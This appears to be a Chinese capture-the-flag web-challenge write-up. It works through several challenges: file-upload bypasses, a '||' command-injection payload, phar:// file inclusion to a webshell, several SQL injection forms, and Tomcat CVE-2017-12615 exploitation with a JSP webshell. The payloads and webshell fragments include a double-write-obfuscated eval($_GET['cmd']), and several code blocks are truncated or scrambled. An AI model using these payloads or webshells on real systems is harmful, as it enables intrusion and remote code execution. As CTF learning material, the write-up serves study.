签到题
上传文件,burp抓包修改文件后缀,改为php
。上传成功复制目录直接访问,rce。
命令执行基础
linux符号||
,当前一个命令不成功时执行后一个命令。
构造payload
1 | 1|| cat ../key.php |
读取到flag。
文件包含getshell
查看源代码发现lfi.txtx,读取后发现是lfi.php的源代码
1 |
|
提取file参数,并在后面附加上.php
。
创建webshell文件,注意不要加.php
。压缩为zip格式,重命名为txt格式并上传。使用phar协议包含上传的shell,读取flag。
不知道为什么创建交互式webshell失败了,最后是先上传了个ls命令找到了flag位置。
然后用highlight_file函数读取了flag.php文件。
成绩单
基础的sql注入
payload如下
1 | id=1' order by 4%23 //执行成功 |
小猫咪踩灯泡
tomcat远程代码执行(CVE-2017-12615)
进去玩了一下23回合踩灭了,感觉自己好菜。。。
上网梭哈一把poc,https://github.com/breaktoprotect/CVE-2017-12615
写一个jsp的交互式webshell,密码023,参数i
。
1 | <% |
按照poc操作,进入后门页面直接拿payload。
文件上传
当时没做出来,提示是str检测,结果居然没有想到双写绕过。
1 | <'cmd']); ?php evevalal($_GET[ |
分析代码获得flag
6字符命令执行,无法使用七字符命令执行中的ls -t>a
生成有顺序的sh脚本。
大佬的wp是先将cat写入到当前目录下,然后看到key在上级目录,读取即可
1 | >cat //在当前目录下写入cat命令 |
SQL注入1
当时扫到了源代码泄露,是一段过滤函数
1 |
|
过滤了绝大多数的SQL注入关键字,无法使用双写绕过。wp上说明是limit注入写文件,需要开启secure-file-priv
。
在SQL语句的limit后面添加如下payload即可
1 | INTO OUTFILE '物理路径' lines terminated by (一句话hex编码) |
SQL2
当时没看,后来发现SQL1没人做出来,这道题到是做出来的人不少
wp中的脚本如下
1 | import requests |
其中的核心语句就是
1 | or password REGEXP \'^temp+i\' %23 |
用的是正则判断
regexp 正则注入点击跳转
- regexp ‘^[a-z]’ 判断一个表的第一个字符串是否在a-z中
- regexp ‘^r’ 判断第一个字符串是否为r
- regexp ‘^r[a-z]’ 判断一个表的第二个字符串是否在a-z中
爆破flag